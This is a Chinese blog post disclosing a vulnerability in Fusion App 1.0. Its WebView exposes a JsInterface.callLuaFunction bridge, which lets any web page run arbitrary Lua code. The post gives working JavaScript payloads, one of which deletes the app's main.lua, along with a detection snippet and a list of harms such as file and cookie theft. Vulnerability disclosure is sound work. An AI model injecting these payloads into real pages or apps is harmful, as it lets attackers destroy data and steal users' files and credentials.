壹影博客.
我在下午4点钟开始想你
FA1.0严重漏洞的利用
  • 2021-3-10日
  • 1评论
  • 1075围观

FA1.0严重漏洞的利用

漏洞原理:

此漏洞类似于 2013 年曝出的 WebView 漏洞,于 Android 4.2 修复
(https://security.tencent.com/lucky/check_tools.html)

Fusion App 使用的 LuaWebView 利用 WebView 的 addJavascriptInterface 方法给网页提供了调用 Lua 函数的接口,名称为 JsInterface ,内部有 callLuaFunction 方法,用它可以调用任意 Lua 函数。

 

利用方法:

在 HTML 网页中插入 JavaScript 脚本令客户端运行来调用此接口。

示例代码:
最简单的,调用FA的“退出程序”函数,直接退出应用:JsInterface.callLuaFunction("退出程序");

其它:
 

JsInterface.callLuaFunction("require","import");
--导入AndroLua的import模块,方便进行下一步操作

JsInterface.callLuaFunction("task","os.remove(activity.getLuaDir()..\"/main.lua\")");
--调用task函数,执行任意代码(示例为删除运行目录下的main.lua文件,使程序无法正常运行)

JsInterface.callLuaFunction("task","os.exit()")");
--同上(但内容为退出程序)

检查漏洞:

加载此Js以检查漏洞: 
alert("漏洞可能"+(window["JsInterface"]&&window["JsInterface"]["callLuaFunction"]?"存在":"不存在"))

当然,不如直接试下攻击: javascript:JsInterface.callLuaFunction("print","漏洞存在"),如果没有看到任何消息,就说明可能不存在这个漏洞

为什么是可能而不是肯定?因为漏洞可能存在于其它名称的接口中...没有进行扫描

 

危害:

Fusion App 能做的,网页都能做,包括:删除所有文件、窃取设备文件、获取其它网站的Cookie及修改正常代码使之不按开发者意愿运行(如:拦截应用的“登录”功能,发送密码到攻击者)等等

发表评论

Aqua゛极

Lv.1 @回复 沙发

可以很棒,2.0版应该修复了吧